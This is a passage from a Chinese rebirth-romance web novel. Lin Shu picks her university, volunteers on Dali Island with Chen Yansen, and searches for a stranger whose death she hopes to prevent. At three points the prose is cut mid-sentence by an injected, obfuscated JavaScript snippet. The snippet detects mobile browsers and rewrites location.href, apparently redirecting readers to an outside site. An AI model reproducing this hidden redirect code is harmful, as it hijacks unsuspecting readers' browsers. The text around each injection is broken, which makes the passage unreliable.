远离他,这在他也远离自己时尚能坚持做到,倘若他稍微向自己走近一步,她就溃不成军了。 算了,就这样吧,林舒说服自己,摆烂吧,现在这样就挺好的。 蛮舒服的关系,蛮安全的距离。 她顺其自然、心甘情愿踏入陈彦森的节奏中,任由他领着自己向未知的前方走去。 半个月后,高考成绩公布。当大家都在研究各大学校往年分数线以及专业,林舒已经干脆利落地填好志愿。 陈彦森在电话那头十分惊讶:“你已经填好了?” 林舒应道:“是啊,我就报了一个。” 陈彦森:“你不怕滑档吗?” 林舒不悦:“给我闭上你的乌鸦嘴。” 陈彦森:“呸呸呸……我重新组织语言。我的意思是,不要再稳妥一点吗?” “不用了。” 她必须要去南苑大学,必须要读汉语言文学专业,必须要再次遇到李洛诗。 “那好吧。”陈彦森说,“你不好奇我报的是什么学校吗?” “请说。” “你好冷漠哦,”陈彦森语气中带有不悦,“你根本就不好奇。” 我连你往后十年的人生是啥样都知道,还好奇个啥?林舒在心里无声呐喊着。重生这么多次,她也是头一次体会到原来重生也是有坏处的,就是失去了新鲜感,以及对着一个比自己小将近十岁的男孩子莫名的没耐心。 幸好是在打电话,陈彦森看不见林舒的表情,林舒也省去表情管理的功夫,提高音调,装作好奇地问:“陈彦森同学,你报的是什么学校呀?” “我跟你报同一个大学哦——”陈彦森故弄玄虚,“但是有一点不一样。” “哪点不一样呢?”林舒耐着性子,更庆幸是在打电话,如果是面对面说话,她可能要忍不住掐住陈彦森脖子,拼命摇他,让他有话赶紧说完。 “专业不一样,我读计算机。” “哦。” “哦?我们又做校友了,你就这个反应?” “那我再给点别的反应吧,”林舒说,“计算机是南苑大学的王牌专业,我建议你接下来报个稳妥的学校托底,免得滑档。” 陈彦森暴跳:“刚刚谁说我乌鸦嘴的?!” “哦,对不起咯。” 这一世她很早就在他面前袒露真实的自我,义卖活动差点干架,面对父母关系时连自己都觉得羞愧的内心想法,冬夜里崩溃落泪。在他面前,她早已展示出自己最真实的一面,并没有什么可以再隐瞒。 而他见过她真实的一面仍愿意留下,那说明他确确实实全身心接纳了她。 因为不用担心他离开,不用担心他不喜欢这样的自己,所以她在他面前有恃无恐。 而这一世的陈彦森,明显比上一世的陈彦森活泼一些,在她面前更敢说敢言,比较趋近于楚洛西理想中陈彦森长大后的模样。虽然不清楚是什么原因导致这一世的他发生了变化,但她觉得这样就挺好的。 陈彦森说:“其实我今天打电话过来,还想跟你说另一件事。” “怎么了?” “我看到海莲市大沥岛招募驻岛志愿者,为期一个半月,刚好回学校参加最后一次散学礼就能出发。我把文章链接发你了,如果你有兴趣的话,我们一起报名去。” 林舒握着的手机震动了一下,应该是陈彦森发送了招募志愿者的文章。 她还在思考他这话的意思,就听到他继续说:“林舒,我就是想告诉你,爱是满溢而不是掏空,你要足够爱自己、疼惜自己,收获到旁人的爱,充盈自己,才有力量去爱别人。” “我绝不反对你做好事,但是你一定要衡量自己的能力,比如你不会游泳,却要勉强自己去救一个溺水者,这不是难为自己涉险吗?你在把身体调理好之前,先去做力所能及的事情,一样都能帮到人。” “林舒,你在听吗?”他说。 “听着呢。”她声音轻轻的。 “慢慢来吧,不着急。”他似是对林舒说,又像是在劝自己。 林舒打开文章链接,大沥岛招募的志愿者工作内容是海洋环保宣传、垃圾分类推广、废弃物创作、活动组织等。 她眼前一亮,这不是撞上她专业了吗? 宣传,不就是写公众号吗?15年的公众号,什么花式排版、裂变涨粉,能难倒在广告公司混了12年的她? 垃圾分类推广,这更不用说了。这些年来捡垃圾都捡出经验来了。 林舒刚想在聊天界面回复陈彦森,抬眼瞥见左上角显示在通话中,连忙把手机放耳旁,不确定对方是不是忘记挂电话了,迟疑着刚想开口,就听到那端传来均匀的呼吸声。 他在,他一直在。 内心酸涩难名,似有成千上万只蚂蚁在蠕动啃食,难受得她想要落泪。但她不能让对方察觉到自己的情绪变化,只得先捂住听筒吐了口气,定了定神,才开口说:“陈彦森。” “我在。”对面马上回应。 林舒:“我打算报名。” 陈彦森:“好,那我们一起报名,一起去。” 林舒问:“你为什么对这个也感兴趣呢?” 陈彦森:“被你感染了,想要多做好人好事造福人类,回馈社会。” 林舒不信:“真?” 轮到陈彦森不悦:“怎么,我看着不像这样的人吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153338|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林舒忙不迭说:“当然像,像极了,第一次见面就被您这一身正气给震慑住了。” 这可是实话。林舒对陈彦森的“第一印象”不是第一世做同班同学的时候,而是第三世在便利店认出他的时候。他脸上没什么表情,但说的话却很动人: “我相信你。” “明天,我去接你下班。现在,我送你回家。” “林舒,不要担心。” 上一世林舒也问过自己,到底是什么时候开始喜欢陈彦森的。她努力回忆心动的时刻,竟发现比自己想象中的多。在谷山市医院陪张绵绵的时候,她在长凳上醒来,下意识叫他名字,他马上回应;在海莲市的时候,外面台风肆虐,她打开门,看到他浑身湿透站在门外,对她笑;还是在海莲,她晚上失眠睡不着,他搬了一张小床睡在她房门,陪着她。 那最初心动是什么时候呢?她挖掘记忆最深处,看到一副模糊的画面。 画面显示在江边,一男一女,一辆摩托车,男生身材颀长,背光而站,微微低头看着面前的女生。 那竟是第三世的记忆了。 “切。”电话那头的陈彦森表示不信。 挂了电话,林舒填好报名表,接着打开衣柜,把所有衣服取出来放在床上,叉着腰站在床边,俯瞰着这一堆衣服,思考要带什么衣服过去,怎么搭配比较好看。 她摆弄着衣服,突然意识到自己正在哼着歌。 是心情很好吗? 应该是的。 为什么呢? 是因为陈彦森吗? 完了完了,林舒一下子直起腰,整个人陷入混乱中,仿佛有两个小人在脑袋里吵架。 为什么因为陈彦森而感到开心?是因为在意吗?是因为喜欢吗? 林舒很肯定自己还喜欢着上一世的陈彦森,是刻骨铭心的喜欢,是刻进血液里的喜欢,即使转世轮回,即使她真的成为一只行军蚁,她的灵魂也一定会替她记着这份爱意。 既然是喜欢上一世的陈彦森,那现在对这一世的陈彦森是什么感觉呢?是喜欢吗?还是爱屋及乌呢? 应该是不喜欢的吧?应该只是爱屋及乌吧? 在她的道德标准里,人心的空间那样有限,是不能同时装下两个人的。 可是,如果不是喜欢,她为什么会因为他被师兄嘲讽而感到生气,会主动为他出头挡在他身前; 如果不是喜欢,她为什么会因为他做出危险性动作后感到生气,又会因为他的冷漠疏离而难过? 如果不是喜欢,那晚他攥着她的手腕,把她的手掌贴在他的脸上,让她打他时,她为何会紧张得无法思考? 如果不是喜欢,刚刚跟他通完电话,她为何会心情大好哼起歌来?她可是心情低落了很长一段时间,久到余热和祁相宜都察觉到了。 如果不是喜欢,她此刻在烦恼什么?纠结什么呢? 这可怎么办啊!她抓着枕头盖过脑袋。 渣女。她竟然成大渣女了吗? 她这算出轨吗?! 59. 第五世(二十二) 半个月后,林舒和陈彦森随同队伍来到海莲市大沥岛,开启海岛志愿服务。 大沥岛位于海莲市最东端,是一个宁静优美的海岛。他们上岛的时候正是傍晚时分,柔和的夕阳洒在波光粼粼的海面上,美得让人失神。海浪拍打在礁石上,又缓缓后退,像一幅徐徐展开的画卷。 领队的志愿者是一个叫咖喱的女孩子,她说:“大沥岛风景区是海莲市最受欢迎的海岛,现在正值旺季客流量大,针对游客和居民,我们的工作分为两部分:针对游客,我们的工作目的是宣传海洋环境保护知识,提高人们对环境保护的重视,内容包括组织公益活动,利用海岛废弃物创作艺术作品等;针对居民,我们的工作目的是普及垃圾分类知识,内容主要为前期准备工作,比如普及知识所用的材料、卡片等,和后续的入户调查和普及知识。” 咖喱说着,推开面前的木门。门后是一条鹅卵石路,路的左边有一个小小池塘,远看有浅浅的水纹,底下应该养着数量相当的小鱼;右边是一个小亭子,最让人惊喜的是,亭子旁有一个木制秋千,十分别致。 众人顺着鹅卵石路走到路的尽头,这里是一间民宿。民宿三层高,白墙搭配褐色门窗,墙边错落有致地摆放着几盆绿植,不知是什么植物从二楼阳台栏杆处垂落,随风轻飘。民宿整体风格简单中带有别具一格的小心思,与院子内的一草一木,一池一鱼十分相衬,看得出来民宿主人是花了心思的。 咖喱领大家走进民宿,招呼他们坐下,前台的小女孩给大家斟茶。咖喱拉来一个白板,写下:垃圾分类、废弃物艺术创作、海滩清洁、环保义卖、平台运营。 她说:“我们这里一共十三人,垃圾分类安排五人,后四个工作各安排两人,大家先按自己意愿在想要做的工作下写自己的名字。” 有人问:“选了之后就一直是这个岗位吗?” 咖喱说:“每周轮岗一次。” 陈彦森小声问林舒:“你想先去哪个?” “海滩清洁吧。”林舒回答。 有经验,易上手。 陈彦森:“那我跟你一组。” 因为是轮岗制,总有机会轮到自己想去的岗位上,所以大家没有过多纠结,很快就填好了。 咖喱:“那明天上午八点,我们在这里集合,会有对应的负责人带着你们去相应的工作点。” 解散后,众人前往各自的房间。男生住二楼,女生住三楼,林舒和一个叫王璐璐的女生住一间房。 房内有独立卫生间,书桌和两张床,陈设简单整洁。 王璐璐自来熟,热情地挽着林舒的手叽里呱啦说了一大堆。原来这是她第三次参加大沥岛志愿活动了,所有岗位都轮过一遍。刚刚她选的工作是废弃物艺术创作。 “这个最好玩了,就是做手工。”王璐璐说。 林舒礼貌一笑,从背包里取出画板,“我手工不太好。” “可你会画画诶。”她指着林舒手中的画板。 “我就随便画画,没有任何功底的。”林舒铺好画纸,背过身来。 林舒今天一整天心事重重,或者说,自踏上海莲市这片土地开始便心事重重。她无法忘记上一世2017年,那一卷轻轻摆动的窗帘。 李星星。 这一次,她想救下她。 现在是2015年,距离事件发生还有2年时间,如果她能在这两年内找到李星星,就还有机会救下她。 林舒闭上眼睛,面前浮现出监控视频截图中那个模糊的侧脸。 她在下跪。 她穿着一件黑白条纹长袖。 她扎着马尾。 她额头饱满。 她微胖。 笔尖轻触纸面发出轻轻的沙沙声,那模糊的身影跃然纸上。 王璐璐一直安静地在一旁看着她画画,待她停笔才忍不住赞叹:“你画得可太好了!你要不说,我还以为你是专业的呢。” “哪里哪里。”她谦虚应道。 这画画技能是她在工作时向公司的插画师偷师学来的,她虽是半路出家,但毕竟两世加起来工作了12年,当中画画时间也不少了。 只是,现在画是画出来了,真能凭借这么模糊的画像找到李星星吗? 她看着这幅画,陷入沉默。 王璐璐问:“你画的这个人是谁?” “一个朋友,”林舒斟酌后补充,“我们没有正式见过面。” 王璐璐:“懂了,网友对不对?我以前念书的时候在Q.Q漂流瓶里结交过朋友,不知道对方现实生活里的情况,也聊得很起劲。” 林舒:“我们也差不多是这个情况。不过我跟她最近断联了,刚好来到海莲,就想着能不能找到她。” 王璐璐问:“她是住在大沥岛居民吗?” 林舒点点头:“这不确定,我只知道她住在海莲,听她提起过海莲市区。” 上一世林舒是在海莲市区的妇幼医院遇见李星星的,网上关于她的报道也不涉及更多个人信息。 王璐璐:“还有什么信息吗?我可以帮你去问问。” 林舒:“可你这周的岗位是废弃物艺术创作,是面向游客的。” 王璐璐:“这有什么,不就是换个岗位的事儿嘛,小事。我有个认识的伙伴这周的岗位是垃圾分类,我这跟她对调一下岗位就行。” 林舒还有点犹豫:“这好像不太好。” “这真没什么,”王璐璐性格爽朗,“我下周再去那个岗位就行。” “谢谢,”林舒见她如此热情,再推辞就显得自己扭捏了,“她叫李星星,大概25岁。”说着,她把画取下来递给王璐璐。 王璐璐接过,“别客气,我特别懂你心情。如果有机会,我也想去见一见我的网友,当面问一句,你还过得好吗?” 林舒望向窗外,黑夜一片寂静,轻轻回答道:“真希望她过得好啊。” 第二天早上八点,众人在一楼集合,跟随对应的岗位负责人出发。林舒和陈彦森一组,负责人是咖喱。 离开民宿的时候,王璐璐特意过来跟林舒道别,并拍了拍她的肩膀,说:“放心吧,我还记着我的任务呢。” “谢谢。”林舒笑着握了握她的手。 待王璐璐走后,原本走在后面的陈彦森上前来与林舒并肩走,问道:“她是谁?你什么时候跟她这么熟了?” 林舒瞥他一眼:“她是我舍友,都睡一起了还能不熟吗?” 陈彦森语气明显急了:“什么睡一起了?你最好说清楚。” “就是睡一起了。”林舒加快脚步,将他抛在后头。 “林舒!”陈彦森一把拽住她的手臂,“你有秘密了,你跟她说不跟我说。” “我,”林舒被他一下子拉住,只得停下,无奈地笑了,“我没有。” 陈彦森不满地抗议:“你有!你就是有!” 怎么跟个小孩子似的?18岁男生都这样的吗? 林舒梗住,一时不知该说什么。 咖喱走在两人前面,回头笑着说:“你俩关系真好。” 他们来到沙滩上,分别戴上手套,领了垃圾夹和垃圾袋分头行动,林舒特意走到离两人比较远的地方。 八九点的沙滩上还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155433|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么游客,她埋头猛猛捡垃圾,一眼锁定垃圾,伸出夹子夹住,收回放进垃圾袋里,快狠准。 等到十点后游客渐渐增多,林舒找准时机,走向一对情侣,对戴着草帽的女生说:“不好意思打扰一下,请问您见过这位女士吗?”她拿出画像,补充道:“她叫李星星,大概25岁,身材微胖。” 这对情侣认真看了看画像,女生摇摇头说:“不好意思,我们没见过。” 林舒:“谢谢。” 一整天,林舒已数不清问了多少个人,得到的答复都是没见过。有个叔叔见她很灰心,提议道:“小妹妹,你要不是要去派出所问问?” 林舒知道他是好意,虽然知道无法实现,但还是礼貌道了谢。 这时听到咖喱喊她:“林舒,到点了,我们回去吧。” 林舒这才留意到那轮太阳已与海平线齐平,回头看咖喱和陈彦森站在不远处的路口等她,连忙应了声走过去。 三人一起走去垃圾站,将回收的垃圾分好类,就回民宿。 陈彦森留意到林舒一个人走在最后面,垂着头,看起来情绪不高,便放慢脚步,等着她跟上后与她并排走。 如果是在往日,她应该已经抬起头瞪他一眼,撇撇嘴说:“又干嘛?” 但是今日,她自始至终没有抬起头,一直盯着自己的鞋子,对周遭事物毫不关心,以至于迎面一辆自行车驶来,骑车人不断按响车铃,她都没有要避让的意思。 巷子很窄,只够两名成年人并肩行走,眼看自行车就要撞上她了,陈彦森只得伸手拉住她的胳膊,引她走到自己身前。而林舒被这一拉猛地回过神来,一抬头就感受到一股风擦身而过,吓得她一下子站定。 她这突然停住,走在后面的人刹不住脚步,一边肩膀撞了上去,令她趔趄两步。 林舒一回头,看到撞她的是陈彦森,眉头一皱,“陈彦森!” “打住,你别好心没好报。”陈彦森反应很快,马上说,“是你走路不看路,差点被自行车撞,我好心拉你一把,谁知道你会突然停下来。” 林舒歪头回忆了一下,带着质疑问:“真?” 陈彦森双手交叉胸前,气鼓鼓道:“我生气了。” “别气别气,”林舒连忙安抚道,“对不起陈大哥,谢谢陈大哥。” 陈彦森瞥她一眼,夕阳映在她脸上,绒毛在橙色的光辉下起舞,眼眸有星光似会说话,弯弯一笑,像一只挠人的小狐狸。他的脸不禁一红,马上移开眼神,暗暗庆幸夕阳笼罩大地,也掩盖了少年的脸红。 “原谅我了吗?”林舒并不知道陈彦森活跃的心理活动,还惦记着刚刚的事。 “要看你的表现。”陈彦森还不敢看她,直视前方。 “什么表现?” 陈彦森:“陪我去个地方。” “去哪?我肚子饿着呢。” “有吃有喝,保证饿不着你。” 见林舒皱眉但没有提出异议,他上前跟咖喱说:“咖喱,我跟林舒今晚不回去吃饭了。” 咖喱看他们一眼,心领神会地笑了笑,说:“可以。但是要在九点前回来哦,我们要开个小会。” “没问题。” 陈彦森回头冲林舒一笑,伸手握住她的手腕,向着前方小山坡跑去。林舒不明所以,却打心底里信任这个人,跟着他在这异乡的小巷里飞奔,风吹起他们的衣服和头发,也吹起她心里那道涟漪。 她脑海中浮现出上一世他俩在校园内奔跑的场景。 夕阳直射大地,明明阳光不烈,她的眼睛却觉得酸酸的。 陈彦森,我好想你。 60. 第五世(二十三) 他们在一间矮屋前停下。 陈彦森抓着门环敲了两下,里面传来一声“来噜”,大门被徐徐打开,一个老奶奶探出头来。 她一见陈彦森,马上绽放笑容:“来啦小伙子,来来,快进来。” 陈彦森说:“钟奶奶,我还带了一个朋友。” 林舒慌忙鞠躬:“奶奶您好,我是林舒。” “孩子,你好你好。”钟奶奶笑眯眯地,把门又打开一点,“快进来。” 林舒跟着陈彦森走进来,屋子亮着灯,一个身影映在薄薄的窗纸上,缓慢移动着,似乎在干活。 走进屋内,才看到那移动的身影原来是一个老爷爷。爷爷年纪挺大了,看起来有七八十岁,佝偻着身子在灶台前炒菜。 “小森,你来啦。”爷爷见到陈彦森,眉开眼笑。 陈彦森:“尚爷爷,我带了朋友来蹭饭。” 尚爷爷:“多个人多双筷子的事儿,稍等一会,爷爷很快就做好了啊。” 钟奶奶招呼两人坐下,取出茶杯斟满,推到两人面前,“孩子们,你们先坐会,喝点水。”说完,她迈着缓慢的步子走到爷爷身边,帮着一起干活。 林舒用手肘撞了撞陈彦森,小声问:“你怎么认识的?” 陈彦森:“今天在沙滩上遇到他们在散步,起初以为他们是游客,我还邀请他们来民宿做客。没想到他们是岛民,反过来邀请我过来吃晚餐。” 林舒问:“那你带上我干嘛?” 陈彦森嬉笑道:“我怕生。” “你怕生?”林舒扯了扯嘴角。 要是上一世的陈彦森说自己怕生她会信,现在的陈彦森?话密得跟个喜鹊似的。 “他们很好的,你就安心吃饭吧。”说着,陈彦森站起身。 “等一下,”林舒眼疾手快按住他的手,“你要去干嘛?” “干活啊,不然就坐在这等两个老人家端过来给我们吃吗?” “那我也去。”林舒准备起身,屁股刚离开座位一寸,就被强行按下。 陈彦森说:“你坐着,我去。” “我……”林舒还想说什么,手里被硬塞一个茶杯,陈彦森道:“乖,马上有饭吃。” 待陈彦森走开,林舒才回过神来——乖?你知道你在跟谁说话吗?你对一个大姐姐说乖? 真是没大没小。 她气呼呼仰头喝了一口茶,正想将茶杯放下,低头看见茶杯杯身有几道浅浅的口子,但是整个茶杯非常干净,没有茶渍痕迹,看得出茶杯寿命长,但主人很用心清洗和保管。 她环顾四周,屋内陈设十分简单,都是一些必要的家具,比如她所坐在客厅中央的大圆桌,几张椅子,天花板悬挂着的吊扇,一个到顶柜子。灶台在进门左边,现在陈彦森在掌勺,尚爷爷在一旁切肉,钟奶奶在捣鼓着电饭煲,林舒有点坐不住了。 大家都在忙着呢,她就这么坐着等吃饭,不太好吧! 她赶紧起身走过去,问道:“有什么是我能做的吗?” 陈彦森在颠勺,还能抽空扭过头来对她说:“马上就好了。” 林舒坚持:“我来帮忙吧,让爷爷奶奶去休息。” 见陈彦森迟疑,她又说:“我厨艺还可以的。” 这一世父母离婚,丁敏忙着服装生意顾不上她,她学会了做饭,从一开始倒油害怕被溅到躲得远远的,到后来把菜倒进油锅里也不会被“哗”一声响吓得弹开。一个人的时候,她简单炒个菜自己吃;丁敏回来吃饭的时候,她会做三菜一汤等她下班回来就有热腾腾的饭菜吃。 林舒洗干净手,向正在切肉的尚爷爷伸出手,“尚爷爷,让我来吧。” 尚爷爷把刀递给她,叮嘱道:“孩子,小心手。” “没问题,”林舒说,“我经常做饭的。” 陈彦森在一旁插嘴:“林舒,你来炒鸡蛋吧,我来切肉。” “不用。”她接过刀,摆弄着砧板上的牛肉,按照纹理斜斜切下去。 尚爷爷:“诶诶诶,你会按照纹理切肉。” 林舒:“看看,您不相信我了,我在家经常做饭的。” “必须要澄清一下,我是相信的,但是有人好像不太相信。”尚爷爷调皮地眨眨眼,朝她身后努努嘴。 “你?”林舒回头看陈彦森,“你对我有成见。” 陈彦森慌忙说:“苍天有眼,我哪敢对你有成见。” 林舒:“那你为什么认定我不会做饭?” 陈彦森咬着唇,没有回答。 林舒将牛肉切成薄片,见灶台上调味料有限,倒入生抽和淀粉抓拌均匀后下锅翻炒,待炒到牛肉稍微变色就下芹菜继续翻炒,然后盖上锅盖。 “下个菜是什么?”她问陈彦森。 “蒜蓉扇贝粉丝。”陈彦森说,“粉丝已经泡软,蒜末也备好了。” 林舒将扇贝清洗干净放在一边,这时锅里的东西煮得差不多了,就打开锅盖再翻炒几下,出锅。 接下来就开始做蒜蓉扇贝粉丝。她手法非常熟练,热油下蒜末的时候不慌不忙,能看得出来确实是下厨经验丰富。陈彦森在一旁收拾垃圾,时不时偷瞄几眼,感到有些意外。 爷爷奶奶坐在饭桌上,尚爷爷边给钟奶奶倒水边说:“今天小森说,邀请朋友过来一起吃晚饭。依我看啊,人家小姑娘对他是朋友,他就不一定咯,一双小眼睛就跟粘在人家身上似的。” “我的看法不同。”钟奶奶托着腮。 “哦?愿闻其详。” 钟奶奶:“小姑娘虽然说话带刺,但是句句有回应。而且,你留意看,她身体是向着他的。” 尚爷爷笑道:“哦哟,那小森嘴都要笑裂了。” 很快,这个菜也出锅了。 一共四个菜,白灼生菜、鸡蛋炒脆皮肠、芹菜炒牛肉、蒜蓉扇贝粉丝,林舒把菜端到饭桌上,陈彦森装了四碗饭也端了过来。 “孩子们,快快坐下吃饭。”钟奶奶不好意思地说,“本来是让你们来做客的,结果还是你们来做饭。” “没事没事,”林舒连忙说,“我们也不好意思干坐着等吃饭。” 陈彦森坐得端正:“爷爷奶奶吃饭,林舒吃饭。” “快吃饭吧,都饿坏了吧。”钟奶奶拿起筷子,给林舒碗里夹了块肉,“小姑娘,多吃点。” “谢谢钟奶奶。” 陈彦森夹起一块扇贝,说道:“让我先尝尝你的手艺。” 他塞进嘴里大口嚼着,神情浮夸。 林舒假意嫌弃地瞪他一眼,低头扒了一小口饭,耳朵却高高竖起,想听他的评价。结果等她这口饭嚼完咽下,马上要再扒饭了,还没等到对方的反馈。 她忍不住抬头,恰巧看到陈彦森正在夹第二块。 “你……” “太好吃了!”他语气浮夸,给爷爷奶奶各夹一块,“你们尝尝,真不是骗人。” 林舒无奈道:“陈彦森,演得有点过了哈。” “我这是真情流露呢!”陈彦森一脸期待地问两位老人家,“怎么样?是不是很好吃?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178176|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林舒偷偷在桌下踢了陈彦森一下,用眼神警告他别再说了。 陈彦森装作看不见,继续说:“我没骗你们吧?” “好吃!”尚爷爷竖起大拇指,“真的好吃。” 钟奶奶也跟着点头,给林舒夹了块,说:“你也尝尝。” “谢谢,谢谢钟奶奶。”林舒低头咬了一口,头都快埋到饭里了,漏在外面通红的耳朵出卖了她。 爷爷和奶奶很健谈,陈彦森出乎意外之外的活泼,三人聊得很欢,林舒时不时聊上两句,多数情况下是安静吃饭。 饭后,陈彦森去洗碗,林舒在旁边负责把碗擦干水,放进篮子里。 钟奶奶过去挽着林舒的臂弯,说:“小姑娘别擦了,让老头子擦,你陪我聊聊天。” 林舒迟疑了一下,还没来得及说法,尚爷爷就接过她手中的抹布,笑着说:“快去吧。” “不好意思,麻烦了。”林舒说。 钟奶奶挽着她往外走,“你来我们家做客,又是做饭又是帮忙收拾,我们已经很不好意思了,怎么反而是你觉得抱歉呢?” 林舒冲钟奶奶一笑,说:“我就是觉得,这些该是我做的。” 钟奶奶问:“刚刚见你炒菜很熟练,做的菜也好吃,是平时在家经常做吗?” “对,”林舒点头,“平时一般都是一个人在家,就会自己做饭。偶尔会做上妈妈的饭。” “那你爸爸呢?” “他们离婚了,我跟妈妈。” “不好意思。” “没事,我已经接受了。” 林舒回头看陈彦森还在屋里,迅速从口袋里掏出画像,问道:“钟奶奶,您见过这位女士吗?她叫李星星,大概25岁。” 钟奶奶戴上老花镜,将画像拿到快贴紧老花镜的位置,仔仔细细看了好一会,最后抱歉地摇摇头:“没见过。” “哦,没事,我再问问别人。”林舒卷起画像,塞回口袋里。 钟奶奶问:“这是谁呀?” “一个网友。” “是很重要的朋友,对吗?”钟奶奶又问。 林舒没有预料到钟奶奶会这么问,愣愣地看着她,一时不知怎么回答。 钟奶奶伸出手,揉了揉林舒的眉心。她的指腹因经年累月干活长了厚厚的茧,是岁月留在她身上的痕迹。 “你呀,”钟奶奶的声音很轻,“又皱眉了。” 从她出现在门口,到一起吃饭,再到现在坐在院子里,她一直皱着眉头。她心事重重,眉头习惯性紧锁着,眼内没有欢喜和笑意,取而代之的是不属于这个年纪的沉重和落寞。 她不快乐。 也许是她发现丁敏为了她委曲求全,也许是她意识到陈彦森如果没喜欢上她会过得更好,也许是她想救李星星却无计可施。 这一世相较前几世有更多的无奈和掣肘。随着遇到的事情越来越多,揭开一层又一层的面纱,她看到了更多事实的真相,却无力改变。她眼中的光亮慢慢黯淡,也更迷茫,渐渐对前路失去方向。 经历几次重生,她习惯遇到事情都是一个人扛着,面对家人和朋友的关心,她都会露出没心没肺的笑容,大大咧咧地说:“我没事。”过去她确确实实能做到这三个字。 可如今,她发现自己做不到了。 她抗得很辛苦。 她有事。 有时候,在面对一个相对陌生的人,心底话反而能比较轻易地说出口。 “钟奶奶,”林舒说,“我想阻止一个人的死亡。” 61. 第五世(二十四) 林舒坐在院子里的藤椅上,说话时一直抬头看一角天空,澄澈幽蓝,云层的背面似乎藏着高深莫测的造物主正俯瞰着大地。 阻止一个人的死亡,这件事上她有经验。上一世,林舒成功修正李洛诗的人生,阻止了她的死亡,按理说,这一世她有经验,应该胸有成竹才对。 但是她分析过,这两者情况不一样。 李洛诗是她最好的朋友,大学四年都跟她生活在一起,她有足够的时间和方式了解李洛诗的性格形成和人生方向,可以从中及时推动或阻止。但是李星星不一样。 她对于林舒来说就是一个陌生人,是互联网时代海量信息里指尖划过的一滴小水珠,是报纸版头下一个不起眼的小方框。林舒甚至没见过她真人,所拥有的信息少之又少。 她根本不知道该去哪里找她,又该怎么救她。 但如果不救李星星,行吗? 林舒也问过自己这个问题。 她们非亲非故的,救下这个人也不会给自己带来什么益处,为何要救? 最终,她脑海中浮现出一个清晰的答案:要救,一定要救。 她根本做不到明知一个年轻的生命会就此陨落仍选择袖手旁观。即便再给她一次机会,她也会冲进候诊室里拉住堕楼的她,也会不顾一切冲进火场里救那个与她有着同样姓名的孩子。 女性权益应该被重视,但不应该是通过这个方式。 林舒将事情徐徐道来,她用预知梦掩饰重生的事实,将真切发生的事件以一个梦境的形式说出。 为了突出预知梦的真实性,她说:“我做过的梦最终都会成真,比如我会考上南苑大学,比如我会选择汉语言专业。” “奶奶跟你一起找。”钟奶奶看着她。 “真的吗?”林舒喜出望外,“谢谢钟奶奶。” “别客气。”钟奶奶握着她的手,轻轻拍了拍。 林舒将画像递给她,叮嘱道:“奶奶,虽然您能帮我一起找人我很高兴,但是您一定要注意自己的身体,千万别累着了。” “放心吧,钟奶奶做事有分寸。” 林舒想了想,在画像背后留下电话,说:“您有任何线索,随时给我打电话。” “好。” 分别前,二老送他们到门口。林舒跨出大门,朝他们挥手:“钟奶奶,尚爷爷,别送了,我们自己回去就可以。” 尚爷爷很是不舍:“有空就来啊。” 陈彦森笑着回应:“我们会时不时来蹭饭的。” 这时,钟奶奶忽然向林舒招招手,“小舒,你过来奶奶这。” 林舒不明所以,但乖乖走到跟前:“钟奶奶,怎么了?” 钟奶奶:“奶奶好奇问一下,你不想回答就不回答,没关系的。” 林舒看着钟奶奶,等着她继续说。 钟奶奶:“那你有梦到小森吗?” …… “钟奶奶跟你说了什么呀?” 回去的路上,陈彦森一时跳到她左边,一时又跑到她右边,孜孜不倦地缠着她。 林舒被问烦了,重复刚刚的回答:“你别这么八卦,悄悄话都要听。” 陈彦森跑了两步,双手叉腰站在她面前:“那你告诉我,为什么钟奶奶只送你手绳?你是不是偷偷背着我跟钟奶奶说了什么,搞得她老人家偏心了?” 林舒抬手看了看圈在左手上手绳。两根黑色的玉线依金刚结编织而成,在中间穿上一颗蓝色的珠子,在月光下透着晶莹的亮光,使人看着心生平静。 刚刚在门口,钟奶奶问:“那你有梦到小森吗?” 她几乎是没有一刻迟疑,脱口而出:“没有。” 钟奶奶只定定地看她一眼,没说什么,而是取出一根手绳给她戴上。 “这……”林舒不知所措地回头看了看陈彦森,一时不知如何应对。 钟奶奶慈祥地看着她,说道:“金刚结保平安。小舒,祝你一生平安顺遂。” 尚爷爷也在一旁说:“就是一份心意,东西本身不值钱的,你就收下吧。” 林舒也不好推辞,道谢后收下了。她的爷爷奶奶和外公外婆都在她懂事前去世了,因此她没怎么跟老人家相处过,也不是很懂得跟他们相处。如今面对钟奶奶的关心,她有些不知所措。 所幸陈彦森在此时解了她燃眉之急,他拉着她的手臂,向尚爷爷和钟奶奶说道:“我们要回去开会了,拜拜。” 林舒被拉着往外走,回过身向二老挥手。 